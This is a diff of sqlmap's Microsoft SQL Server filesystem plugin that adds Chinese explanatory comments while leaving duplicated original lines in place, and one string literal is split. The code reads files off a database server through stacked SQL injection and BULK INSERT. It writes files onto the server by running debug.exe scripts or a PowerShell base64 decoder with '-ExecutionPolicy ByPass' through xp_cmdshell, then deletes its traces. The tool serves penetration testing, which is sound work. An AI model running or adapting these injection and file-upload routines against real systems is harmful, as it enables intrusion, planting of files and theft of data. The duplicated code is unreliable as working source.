@ -5,75 +5,81 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
 
			
		
	
		
			
				
					See  the  file  ' LICENSE '  for  copying  permission  
			
		
	
		
			
				
					"""  
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					import  ntpath  
			
		
	
		
			
				
					import  os  
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					from  lib . core . common  import  checkFile  
			
		
	
		
			
				
					from  lib . core . common  import  getLimitRange  
			
		
	
		
			
				
					from  lib . core . common  import  isNumPosStrValue  
			
		
	
		
			
				
					from  lib . core . common  import  isTechniqueAvailable  
			
		
	
		
			
				
					from  lib . core . common  import  posixToNtSlashes  
			
		
	
		
			
				
					from  lib . core . common  import  randomStr  
			
		
	
		
			
				
					from  lib . core . common  import  readInput  
			
		
	
		
			
				
					from  lib . core . compat  import  xrange  
			
		
	
		
			
				
					from  lib . core . convert  import  encodeBase64  
			
		
	
		
			
				
					from  lib . core . convert  import  encodeHex  
			
		
	
		
			
				
					from  lib . core . convert  import  rot13  
			
		
	
		
			
				
					from  lib . core . data  import  conf  
			
		
	
		
			
				
					from  lib . core . data  import  kb  
			
		
	
		
			
				
					from  lib . core . data  import  logger  
			
		
	
		
			
				
					from  lib . core . enums  import  CHARSET_TYPE  
			
		
	
		
			
				
					from  lib . core . enums  import  EXPECTED  
			
		
	
		
			
				
					from  lib . core . enums  import  PAYLOAD  
			
		
	
		
			
				
					from  lib . core . exception  import  SqlmapNoneDataException  
			
		
	
		
			
				
					from  lib . core . exception  import  SqlmapUnsupportedFeatureException  
			
		
	
		
			
				
					from  lib . request  import  inject  
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					from  plugins . generic . filesystem  import  Filesystem  as  GenericFilesystem  
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					# 导入必要的模块  
			
		
	
		
			
				
					import  ntpath   # 导入 ntpath 模块,用于处理 Windows 路径  
			
		
	
		
			
				
					import  os  # 导入 os 模块,用于执行操作系统相关操作  
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					from  lib . core . common  import  checkFile  # 导入 checkFile 函数,用于检查文件是否存在  
			
		
	
		
			
				
					from  lib . core . common  import  getLimitRange  # 导入 getLimitRange 函数,用于生成限制范围  
			
		
	
		
			
				
					from  lib . core . common  import  isNumPosStrValue  # 导入 isNumPosStrValue 函数,用于检查值是否为正数字字符串  
			
		
	
		
			
				
					from  lib . core . common  import  isTechniqueAvailable  # 导入 isTechniqueAvailable 函数,用于检查指定的注入技术是否可用  
			
		
	
		
			
				
					from  lib . core . common  import  posixToNtSlashes  # 导入 posixToNtSlashes 函数,用于将 POSIX 路径转换为 NT 路径  
			
		
	
		
			
				
					from  lib . core . common  import  randomStr  # 导入 randomStr 函数,用于生成随机字符串  
			
		
	
		
			
				
					from  lib . core . common  import  readInput  # 导入 readInput 函数,用于读取用户输入  
			
		
	
		
			
				
					from  lib . core . compat  import  xrange  # 导入 xrange 函数,用于兼容 Python 2 和 3 的循环  
			
		
	
		
			
				
					from  lib . core . convert  import  encodeBase64  # 导入 encodeBase64 函数,用于 Base64 编码  
			
		
	
		
			
				
					from  lib . core . convert  import  encodeHex  # 导入 encodeHex 函数,用于十六进制编码  
			
		
	
		
			
				
					from  lib . core . convert  import  rot13  # 导入 rot13 函数,用于 ROT13 编码  
			
		
	
		
			
				
					from  lib . core . data  import  conf  # 导入 conf 对象,用于访问全局配置信息  
			
		
	
		
			
				
					from  lib . core . data  import  kb  # 导入 kb 对象,用于访问全局知识库  
			
		
	
		
			
				
					from  lib . core . data  import  logger  # 导入 logger 对象,用于输出日志  
			
		
	
		
			
				
					from  lib . core . enums  import  CHARSET_TYPE  # 导入 CHARSET_TYPE 枚举,定义字符集类型  
			
		
	
		
			
				
					from  lib . core . enums  import  EXPECTED  # 导入 EXPECTED 枚举,定义期望的返回值类型  
			
		
	
		
			
				
					from  lib . core . enums  import  PAYLOAD  # 导入 PAYLOAD 枚举,定义注入类型  
			
		
	
		
			
				
					from  lib . core . exception  import  SqlmapNoneDataException  # 导入 SqlmapNoneDataException 异常类,用于表示没有数据  
			
		
	
		
			
				
					from  lib . core . exception  import  SqlmapUnsupportedFeatureException  # 导入 SqlmapUnsupportedFeatureException 异常类,用于表示不支持的功能  
			
		
	
		
			
				
					from  lib . request  import  inject  # 导入 inject 函数,用于执行 SQL 注入请求  
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					from  plugins . generic . filesystem  import  Filesystem  as  GenericFilesystem  # 导入 GenericFilesystem 类,作为当前类的父类  
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					# 定义 Filesystem 类,继承自 GenericFilesystem  
			
		
	
		
			
				
					class  Filesystem ( GenericFilesystem ) :  
			
		
	
		
			
				
					    # 定义 _dataToScr 方法,用于将数据转换为 debug.exe 脚本 
 
			
		
	
		
			
				
					    def  _dataToScr ( self ,  fileContent ,  chunkName ) : 
 
			
		
	
		
			
				
					        fileLines  =  [ ] 
 
			
		
	
		
			
				
					        fileSize  =  len ( fileContent ) 
 
			
		
	
		
			
				
					        lineAddr  =  0x100 
 
			
		
	
		
			
				
					        lineLen  =  20 
 
			
		
	
		
			
				
					        fileLines  =  [ ]  # 初始化文件行列表  
 
			
		
	
		
			
				
					        fileSize  =  len ( fileContent )  # 获取文件大小  
 
			
		
	
		
			
				
					        lineAddr  =  0x100  # 设置起始地址  
 
			
		
	
		
			
				
					        lineLen  =  20  # 设置每行长度  
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        fileLines . append ( " n  %s "  %  chunkName ) 
 
			
		
	
		
			
				
					        fileLines . append ( " rcx " ) 
 
			
		
	
		
			
				
					        fileLines . append ( " %x "  %  fileSize ) 
 
			
		
	
		
			
				
					        fileLines . append ( " f 0100  %x  00 "  %  fileSize ) 
 
			
		
	
		
			
				
					        fileLines . append ( " n  %s "  %  chunkName )  # 添加 debug.exe 的 'n' 命令,用于设置文件名  
 
			
		
	
		
			
				
					        fileLines . append ( " rcx " )  # 添加 debug.exe 的 'rcx' 命令,用于设置寄存器 cx  
 
			
		
	
		
			
				
					        fileLines . append ( " %x "  %  fileSize )  # 添加文件大小  
 
			
		
	
		
			
				
					        fileLines . append ( " f 0100  %x  00 "  %  fileSize )  # 添加 debug.exe 的 'f' 命令,用于填充内存  
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        # 遍历文件内容,将每一行转换为 debug.exe 的 'e' 命令 
 
			
		
	
		
			
				
					        for  fileLine  in  xrange ( 0 ,  len ( fileContent ) ,  lineLen ) : 
 
			
		
	
		
			
				
					            scrString  =  " " 
 
			
		
	
		
			
				
					            scrString  =  " "  # 初始化每行字符串  
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					            for  lineChar  in  fileContent [ fileLine : fileLine  +  lineLen ] : 
 
			
		
	
		
			
				
					                strLineChar  =  encodeHex ( lineChar ,  binary = False ) 
 
			
		
	
		
			
				
					                strLineChar  =  encodeHex ( lineChar ,  binary = False )  # 将字符转换为十六进制字符串  
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					                if  not  scrString : 
 
			
		
	
		
			
				
					                    scrString  =  " e  %x   %s "  %  ( lineAddr ,  strLineChar ) 
 
			
		
	
		
			
				
					                    scrString  =  " e  %x   %s "  %  ( lineAddr ,  strLineChar )  # 如果是第一个字符,则添加 'e' 命令  
 
			
		
	
		
			
				
					                else : 
 
			
		
	
		
			
				
					                    scrString  + =  "   %s "  %  strLineChar 
 
			
		
	
		
			
				
					                    scrString  + =  "   %s "  %  strLineChar  # 添加字符  
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					                lineAddr  + =  len ( strLineChar )  / /  2 
 
			
		
	
		
			
				
					                lineAddr  + =  len ( strLineChar )  / /  2  # 更新地址  
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					            fileLines . append ( scrString ) 
 
			
		
	
		
			
				
					            fileLines . append ( scrString )  # 添加到文件行列表  
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        fileLines . append ( " w " ) 
 
			
		
	
		
			
				
					        fileLines . append ( " q " ) 
 
			
		
	
		
			
				
					        fileLines . append ( " w " )  # 添加 debug.exe 的 'w' 命令,用于写入文件  
 
			
		
	
		
			
				
					        fileLines . append ( " q " )  # 添加 debug.exe 的 'q' 命令,用于退出 debug.exe  
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        return  fileLines 
 
			
		
	
		
			
				
					        return  fileLines  # 返回文件行列表  
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					    # 定义 _updateDestChunk 方法,用于更新目标文件的 chunk 
 
			
		
	
		
			
				
					    def  _updateDestChunk ( self ,  fileContent ,  tmpPath ) : 
 
			
		
	
		
			
				
					        randScr  =  " tmpf %s .scr "  %  randomStr ( lowercase = True ) 
 
			
		
	
		
			
				
					        chunkName  =  randomStr ( lowercase = True ) 
 
			
		
	
		
			
				
					        fileScrLines  =  self . _dataToScr ( fileContent ,  chunkName ) 
 
			
		
	
		
			
				
					        randScr  =  " tmpf %s .scr "  %  randomStr ( lowercase = True )  # 生成随机的 debug.exe 脚本文件名  
 
			
		
	
		
			
				
					        chunkName  =  randomStr ( lowercase = True )  # 生成随机的 chunk 文件名  
 
			
		
	
		
			
				
					        fileScrLines  =  self . _dataToScr ( fileContent ,  chunkName )  # 将文件内容转换为 debug.exe 脚本  
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        logger . debug ( " uploading debug script to  %s \\ %s , please wait.. "  %  ( tmpPath ,  randScr ) ) 
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        self . xpCmdshellWriteFile ( fileScrLines ,  tmpPath ,  randScr ) 
 
			
		
	
		
			
				
					        self . xpCmdshellWriteFile ( fileScrLines ,  tmpPath ,  randScr )  # 使用 xp_cmdshell 将 debug.exe 脚本写入到服务器  
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        logger . debug ( " generating chunk file  %s \\ %s  from debug script  %s "  %  ( tmpPath ,  chunkName ,  randScr ) ) 
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        # 执行 debug.exe 脚本,生成 chunk 文件 
 
			
		
	
		
			
				
					        commands  =  ( 
 
			
		
	
		
			
				
					            " cd  \" %s \" "  %  tmpPath , 
 
			
		
	
		
			
				
					            " debug <  %s "  %  randScr , 
 
			
		
	
	
		
			
				
					
						
						
						
							
								 
						
					 
				
				@ -82,25 +88,26 @@ class Filesystem(GenericFilesystem):
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        self . execCmd ( "  &  " . join ( command  for  command  in  commands ) ) 
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        return  chunkName 
 
			
		
	
		
			
				
					        return  chunkName  # 返回 chunk 文件名  
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					    # 定义 stackedReadFile 方法,用于读取服务器文件内容,使用堆叠查询 
 
			
		
	
		
			
				
					    def  stackedReadFile ( self ,  remoteFile ) : 
 
			
		
	
		
			
				
					        if  not  kb . bruteMode : 
 
			
		
	
		
			
				
					            infoMsg  =  " fetching file:  ' %s ' "  %  remoteFile 
 
			
		
	
		
			
				
					            logger . info ( infoMsg ) 
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        result  =  [ ] 
 
			
		
	
		
			
				
					        txtTbl  =  self . fileTblName 
 
			
		
	
		
			
				
					        hexTbl  =  " %s %s hex "  %  ( self . fileTblName ,  randomStr ( ) ) 
 
			
		
	
		
			
				
					        result  =  [ ]  # 初始化结果列表  
 
			
		
	
		
			
				
					        txtTbl  =  self . fileTblName  # 获取文件表名  
 
			
		
	
		
			
				
					        hexTbl  =  " %s %s hex "  %  ( self . fileTblName ,  randomStr ( ) )  # 生成十六进制表名  
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        self . createSupportTbl ( txtTbl ,  self . tblField ,  " text " ) 
 
			
		
	
		
			
				
					        inject . goStacked ( " DROP TABLE  %s "  %  hexTbl ) 
 
			
		
	
		
			
				
					        inject . goStacked ( " CREATE TABLE  %s (id INT IDENTITY(1, 1) PRIMARY KEY,  %s   %s ) "  %  ( hexTbl ,  self . tblField ,  " VARCHAR(4096) " ) ) 
 
			
		
	
		
			
				
					        self . createSupportTbl ( txtTbl ,  self . tblField ,  " text " )  # 创建支持表,用于存储文件内容  
 
			
		
	
		
			
				
					        inject . goStacked ( " DROP TABLE  %s "  %  hexTbl )  # 删除十六进制表  
 
			
		
	
		
			
				
					        inject . goStacked ( " CREATE TABLE  %s (id INT IDENTITY(1, 1) PRIMARY KEY,  %s   %s ) "  %  ( hexTbl ,  self . tblField ,  " VARCHAR(4096) " ) )  # 创建十六进制表  
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        logger . debug ( " loading the content of file  ' %s '  into support table "  %  remoteFile ) 
 
			
		
	
		
			
				
					        inject . goStacked ( " BULK INSERT  %s  FROM  ' %s '  WITH (CODEPAGE= ' RAW ' , FIELDTERMINATOR= ' %s ' , ROWTERMINATOR= ' %s ' ) "  %  ( txtTbl ,  remoteFile ,  randomStr ( 10 ) ,  randomStr ( 10 ) ) ,  silent = True ) 
 
			
		
	
		
			
				
					        inject . goStacked ( " BULK INSERT  %s  FROM  ' %s '  WITH (CODEPAGE= ' RAW ' , FIELDTERMINATOR= ' %s ' , ROWTERMINATOR= ' %s ' ) "  %  ( txtTbl ,  remoteFile ,  randomStr ( 10 ) ,  randomStr ( 10 ) ) ,  silent = True )  # 使用 BULK INSERT 将文件内容读取到支持表  
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        #  Reference: https://web.archive.org/web/20120211184457/http://support.microsoft.com/kb/104829 
 
			
		
	
		
			
				
					        #  将二进制数据转换为十六进制字符串的 SQL 查询 
 
			
		
	
		
			
				
					        binToHexQuery  =  """ DECLARE @charset VARCHAR(16) 
 
			
		
	
		
			
				
					        DECLARE  @counter  INT 
 
			
		
	
		
			
				
					        DECLARE  @hexstr  VARCHAR ( 4096 ) 
 
			
		
	
	
		
			
				
					
						
							
								 
						
						
							
								 
						
						
					 
				
				@ -139,67 +146,76 @@ class Filesystem(GenericFilesystem):
 
			
		
	
		
			
				
					        END 
 
			
		
	
		
			
				
					        """   %  (self.tblField, txtTbl, self.tblField, txtTbl, hexTbl, self.tblField, hexTbl, self.tblField) 
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        binToHexQuery  =  binToHexQuery . replace ( "      " ,  " " ) . replace ( " \n " ,  "   " ) 
 
			
		
	
		
			
				
					        inject . goStacked ( binToHexQuery ) 
 
			
		
	
		
			
				
					        binToHexQuery  =  binToHexQuery . replace ( "      " ,  " " ) . replace ( " \ 
 
			
		
	
		
			
				
					" ,  "  " ) # 移除多余空格和换行符  
			
		
	
		
			
				
					        inject . goStacked ( binToHexQuery )  # 执行 SQL 查询,将二进制数据转换为十六进制字符串 
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        # 如果可以使用 UNION 注入,则直接读取十六进制表 
 
			
		
	
		
			
				
					        if  isTechniqueAvailable ( PAYLOAD . TECHNIQUE . UNION ) : 
 
			
		
	
		
			
				
					            result  =  inject . getValue ( " SELECT  %s  FROM  %s  ORDER BY id ASC "  %  ( self . tblField ,  hexTbl ) ,  resumeValue = False ,  blind = False ,  time = False ,  error = False ) 
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        # 如果无法使用 UNION 注入,则使用推断注入来读取十六进制表 
 
			
		
	
		
			
				
					        if  not  result : 
 
			
		
	
		
			
				
					            result  =  [ ] 
 
			
		
	
		
			
				
					            count  =  inject . getValue ( " SELECT COUNT(*) FROM  %s "  %  ( hexTbl ) ,  resumeValue = False ,  expected = EXPECTED . INT ,  charsetType = CHARSET_TYPE . DIGITS ) 
 
			
		
	
		
			
				
					            count  =  inject . getValue ( " SELECT COUNT(*) FROM  %s "  %  ( hexTbl ) ,  resumeValue = False ,  expected = EXPECTED . INT ,  charsetType = CHARSET_TYPE . DIGITS )  # 获取十六进制表的行数  
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					            if  not  isNumPosStrValue ( count ) : 
 
			
		
	
		
			
				
					                errMsg  =  " unable to retrieve the content of the  " 
 
			
		
	
		
			
				
					                errMsg  + =  " file  ' %s ' "  %  remoteFile 
 
			
		
	
		
			
				
					                raise  SqlmapNoneDataException ( errMsg ) 
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					            indexRange  =  getLimitRange ( count ) 
 
			
		
	
		
			
				
					            indexRange  =  getLimitRange ( count )  # 生成索引范围  
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					            # 遍历索引范围,逐行读取十六进制数据 
 
			
		
	
		
			
				
					            for  index  in  indexRange : 
 
			
		
	
		
			
				
					                chunk  =  inject . getValue ( " SELECT TOP 1  %s  FROM  %s  WHERE  %s  NOT IN (SELECT TOP  %d   %s  FROM  %s  ORDER BY id ASC) ORDER BY id ASC "  %  ( self . tblField ,  hexTbl ,  self . tblField ,  index ,  self . tblField ,  hexTbl ) ,  unpack = False ,  resumeValue = False ,  charsetType = CHARSET_TYPE . HEXADECIMAL ) 
 
			
		
	
		
			
				
					                result . append ( chunk ) 
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        inject . goStacked ( " DROP TABLE  %s "  %  hexTbl ) 
 
			
		
	
		
			
				
					        inject . goStacked ( " DROP TABLE  %s "  %  hexTbl )  # 删除十六进制表  
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        return  result 
 
			
		
	
		
			
				
					        return  result  # 返回读取的文件内容  
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					    # 定义 unionWriteFile 方法,用于使用 UNION 注入写入文件,但此方法不支持 SQL Server 
 
			
		
	
		
			
				
					    def  unionWriteFile ( self ,  localFile ,  remoteFile ,  fileType ,  forceCheck = False ) : 
 
			
		
	
		
			
				
					        errMsg  =  " Microsoft SQL Server does not support file upload with  " 
 
			
		
	
		
			
				
					        errMsg  + =  " UNION query SQL injection technique " 
 
			
		
	
		
			
				
					        raise  SqlmapUnsupportedFeatureException ( errMsg ) 
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					    # 定义 _stackedWriteFilePS 方法,用于使用 PowerShell 写入文件内容 
 
			
		
	
		
			
				
					    def  _stackedWriteFilePS ( self ,  tmpPath ,  localFileContent ,  remoteFile ,  fileType ) : 
 
			
		
	
		
			
				
					        infoMsg  =  " using PowerShell to write the  %s  file content  "  %  fileType 
 
			
		
	
		
			
				
					        infoMsg  + =  " to file  ' %s ' "  %  remoteFile 
 
			
		
	
		
			
				
					        logger . info ( infoMsg ) 
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        encodedFileContent  =  encodeBase64 ( localFileContent ,  binary = False ) 
 
			
		
	
		
			
				
					        encodedBase64File  =  " tmpf %s .txt "  %  randomStr ( lowercase = True ) 
 
			
		
	
		
			
				
					        encodedBase64FilePath  =  " %s \\ %s "  %  ( tmpPath ,  encodedBase64File ) 
 
			
		
	
		
			
				
					        encodedFileContent  =  encodeBase64 ( localFileContent ,  binary = False )  # 将文件内容进行 Base64 编码  
 
			
		
	
		
			
				
					        encodedBase64File  =  " tmpf %s .txt "  %  randomStr ( lowercase = True )  # 生成随机的 Base64 文件名  
 
			
		
	
		
			
				
					        encodedBase64FilePath  =  " %s \\ %s "  %  ( tmpPath ,  encodedBase64File )  # 构建 Base64 文件路径  
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        randPSScript  =  " tmpps %s .ps1 "  %  randomStr ( lowercase = True ) 
 
			
		
	
		
			
				
					        randPSScriptPath  =  " %s \\ %s "  %  ( tmpPath ,  randPSScript ) 
 
			
		
	
		
			
				
					        randPSScript  =  " tmpps %s .ps1 "  %  randomStr ( lowercase = True )  # 生成随机的 PowerShell 脚本文件名  
 
			
		
	
		
			
				
					        randPSScriptPath  =  " %s \\ %s "  %  ( tmpPath ,  randPSScript )  # 构建 PowerShell 脚本路径  
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        localFileSize  =  len ( encodedFileContent ) 
 
			
		
	
		
			
				
					        chunkMaxSize  =  1024 
 
			
		
	
		
			
				
					        localFileSize  =  len ( encodedFileContent )  # 获取 Base64 编码后的文件大小  
 
			
		
	
		
			
				
					        chunkMaxSize  =  1024  # 设置最大 chunk 大小  
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        logger . debug ( " uploading the base64-encoded file to  %s , please wait.. "  %  encodedBase64FilePath ) 
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        # 循环上传 Base64 编码后的文件内容 
 
			
		
	
		
			
				
					        for  i  in  xrange ( 0 ,  localFileSize ,  chunkMaxSize ) : 
 
			
		
	
		
			
				
					            wEncodedChunk  =  encodedFileContent [ i : i  +  chunkMaxSize ] 
 
			
		
	
		
			
				
					            self . xpCmdshellWriteFile ( wEncodedChunk ,  tmpPath ,  encodedBase64File ) 
 
			
		
	
		
			
				
					            self . xpCmdshellWriteFile ( wEncodedChunk ,  tmpPath ,  encodedBase64File )  # 使用 xp_cmdshell 将 Base64 编码后的文件内容写入到服务器  
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        # 构建 PowerShell 脚本 
 
			
		
	
		
			
				
					        psString  =  " $Base64 = Get-Content -Path  \" %s \" ;  "  %  encodedBase64FilePath 
 
			
		
	
		
			
				
					        psString  + =  " $Base64 = $Base64 -replace  \" `t|`n|`r \" , \" \" ; $Content =  " 
 
			
		
	
		
			
				
					        psString  + =  " [System.Convert]::FromBase64String($Base64); Set-Content  " 
 
			
		
	
		
			
				
					        psString  + =  " -Path  \" %s \"  -Value $Content -Encoding Byte "  %  remoteFile 
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        logger . debug ( " uploading the PowerShell base64-decoding script to  %s "  %  randPSScriptPath ) 
 
			
		
	
		
			
				
					        self . xpCmdshellWriteFile ( psString ,  tmpPath ,  randPSScript ) 
 
			
		
	
		
			
				
					        self . xpCmdshellWriteFile ( psString ,  tmpPath ,  randPSScript )  # 使用 xp_cmdshell 将 PowerShell 脚本写入到服务器  
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        logger . debug ( " executing the PowerShell base64-decoding script to write the  %s  file, please wait.. "  %  remoteFile ) 
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        # 执行 PowerShell 脚本,将 Base64 编码后的文件内容解码并写入到目标文件 
 
			
		
	
		
			
				
					        commands  =  ( 
 
			
		
	
		
			
				
					            " powershell -ExecutionPolicy ByPass -File  \" %s \" "  %  randPSScriptPath , 
 
			
		
	
		
			
				
					            " del /F /Q  \" %s \" "  %  encodedBase64FilePath , 
 
			
		
	
	
		
			
				
					
						
						
						
							
								 
						
					 
				
				@ -208,23 +224,26 @@ class Filesystem(GenericFilesystem):
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        self . execCmd ( "  &  " . join ( command  for  command  in  commands ) ) 
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					    # 定义 _stackedWriteFileDebugExe 方法,用于使用 debug.exe 写入文件内容 
 
			
		
	
		
			
				
					    def  _stackedWriteFileDebugExe ( self ,  tmpPath ,  localFile ,  localFileContent ,  remoteFile ,  fileType ) : 
 
			
		
	
		
			
				
					        infoMsg  =  " using debug.exe to write the  %s   "  %  fileType 
 
			
		
	
		
			
				
					        infoMsg  + =  " file content to file  ' %s ' , please wait.. "  %  remoteFile 
 
			
		
	
		
			
				
					        logger . info ( infoMsg ) 
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        remoteFileName  =  ntpath . basename ( remoteFile ) 
 
			
		
	
		
			
				
					        sFile  =  " %s \\ %s "  %  ( tmpPath ,  remoteFileName ) 
 
			
		
	
		
			
				
					        localFileSize  =  os . path . getsize ( localFile ) 
 
			
		
	
		
			
				
					        debugSize  =  0xFF00 
 
			
		
	
		
			
				
					        remoteFileName  =  ntpath . basename ( remoteFile )  # 获取远程文件名  
 
			
		
	
		
			
				
					        sFile  =  " %s \\ %s "  %  ( tmpPath ,  remoteFileName )  # 构建远程文件路径  
 
			
		
	
		
			
				
					        localFileSize  =  os . path . getsize ( localFile )  # 获取本地文件大小  
 
			
		
	
		
			
				
					        debugSize  =  0xFF00  # 设置 debug.exe 的最大写入大小  
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        # 如果文件小于 debug.exe 的最大写入大小,则直接写入 
 
			
		
	
		
			
				
					        if  localFileSize  <  debugSize : 
 
			
		
	
		
			
				
					            chunkName  =  self . _updateDestChunk ( localFileContent ,  tmpPath ) 
 
			
		
	
		
			
				
					            chunkName  =  self . _updateDestChunk ( localFileContent ,  tmpPath )  # 将文件内容转换为 debug.exe 脚本并生成 chunk 文件  
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					            debugMsg  =  " renaming chunk file  %s \\ %s  to  %s   "  %  ( tmpPath ,  chunkName ,  fileType ) 
 
			
		
	
		
			
				
					            debugMsg  + =  " file  %s \\ %s  and moving it to  %s "  %  ( tmpPath ,  remoteFileName ,  remoteFile ) 
 
			
		
	
		
			
				
					            logger . debug ( debugMsg ) 
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					            # 将 chunk 文件重命名为目标文件名并移动到目标路径 
 
			
		
	
		
			
				
					            commands  =  ( 
 
			
		
	
		
			
				
					                " cd  \" %s \" "  %  tmpPath , 
 
			
		
	
		
			
				
					                " ren  %s   %s "  %  ( chunkName ,  remoteFileName ) , 
 
			
		
	
	
		
			
				
					
						
						
						
							
								 
						
					 
				
				@ -232,6 +251,7 @@ class Filesystem(GenericFilesystem):
 
			
		
	
		
			
				
					            ) 
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					            self . execCmd ( "  &  " . join ( command  for  command  in  commands ) ) 
 
			
		
	
		
			
				
					        # 如果文件大于 debug.exe 的最大写入大小,则分块写入 
 
			
		
	
		
			
				
					        else : 
 
			
		
	
		
			
				
					            debugMsg  =  " the file is larger than  %d  bytes.  "  %  debugSize 
 
			
		
	
		
			
				
					            debugMsg  + =  " sqlmap will split it into chunks locally, upload  " 
 
			
		
	
	
		
			
				
					
						
						
						
							
								 
						
					 
				
				@ -239,10 +259,12 @@ class Filesystem(GenericFilesystem):
 
			
		
	
		
			
				
					            debugMsg  + =  " on the server, please wait.. " 
 
			
		
	
		
			
				
					            logger . debug ( debugMsg ) 
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					            # 循环分块写入文件 
 
			
		
	
		
			
				
					            for  i  in  xrange ( 0 ,  localFileSize ,  debugSize ) : 
 
			
		
	
		
			
				
					                localFileChunk  =  localFileContent [ i : i  +  debugSize ] 
 
			
		
	
		
			
				
					                chunkName  =  self . _updateDestChunk ( localFileChunk ,  tmpPath ) 
 
			
		
	
		
			
				
					                localFileChunk  =  localFileContent [ i : i  +  debugSize ]  # 获取文件 chunk  
 
			
		
	
		
			
				
					                chunkName  =  self . _updateDestChunk ( localFileChunk ,  tmpPath )  # 将文件 chunk 转换为 debug.exe 脚本并生成 chunk 文件  
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					                # 如果是第一个 chunk, ,  
 
			
		
	
		
			
				
					                if  i  ==  0 : 
 
			
		
	
		
			
				
					                    debugMsg  =  " renaming chunk  " 
 
			
		
	
		
			
				
					                    copyCmd  =  " ren  %s   %s "  %  ( chunkName ,  remoteFileName ) 
 
			
		
	
	
		
			
				
					
						
						
						
							
								 
						
					 
				
				@ -253,6 +275,7 @@ class Filesystem(GenericFilesystem):
 
			
		
	
		
			
				
					                debugMsg  + =  " %s \\ %s  to  %s  file  %s \\ %s "  %  ( tmpPath ,  chunkName ,  fileType ,  tmpPath ,  remoteFileName ) 
 
			
		
	
		
			
				
					                logger . debug ( debugMsg ) 
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					                # 执行重命名或合并操作 
 
			
		
	
		
			
				
					                commands  =  ( 
 
			
		
	
		
			
				
					                    " cd  \" %s \" "  %  tmpPath , 
 
			
		
	
		
			
				
					                    copyCmd , 
 
			
		
	
	
		
			
				
					
						
						
						
							
								 
						
					 
				
				@ -263,6 +286,7 @@ class Filesystem(GenericFilesystem):
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					            logger . debug ( " moving  %s  file  %s  to  %s "  %  ( fileType ,  sFile ,  remoteFile ) ) 
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					            # 将合并后的文件移动到目标路径 
 
			
		
	
		
			
				
					            commands  =  ( 
 
			
		
	
		
			
				
					                " cd  \" %s \" "  %  tmpPath , 
 
			
		
	
		
			
				
					                " move /Y  %s   %s "  %  ( remoteFileName ,  remoteFile ) 
 
			
		
	
	
		
			
				
					
						
						
						
							
								 
						
					 
				
				@ -270,15 +294,17 @@ class Filesystem(GenericFilesystem):
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					            self . execCmd ( "  &  " . join ( command  for  command  in  commands ) ) 
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					    # 定义 _stackedWriteFileVbs 方法,用于使用 VBScript 写入文件内容 
 
			
		
	
		
			
				
					    def  _stackedWriteFileVbs ( self ,  tmpPath ,  localFileContent ,  remoteFile ,  fileType ) : 
 
			
		
	
		
			
				
					        infoMsg  =  " using a custom visual basic script to write the  " 
 
			
		
	
		
			
				
					        infoMsg  + =  " %s  file content to file  ' %s ' , please wait.. "  %  ( fileType ,  remoteFile ) 
 
			
		
	
		
			
				
					        logger . info ( infoMsg ) 
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        randVbs  =  " tmps %s .vbs "  %  randomStr ( lowercase = True ) 
 
			
		
	
		
			
				
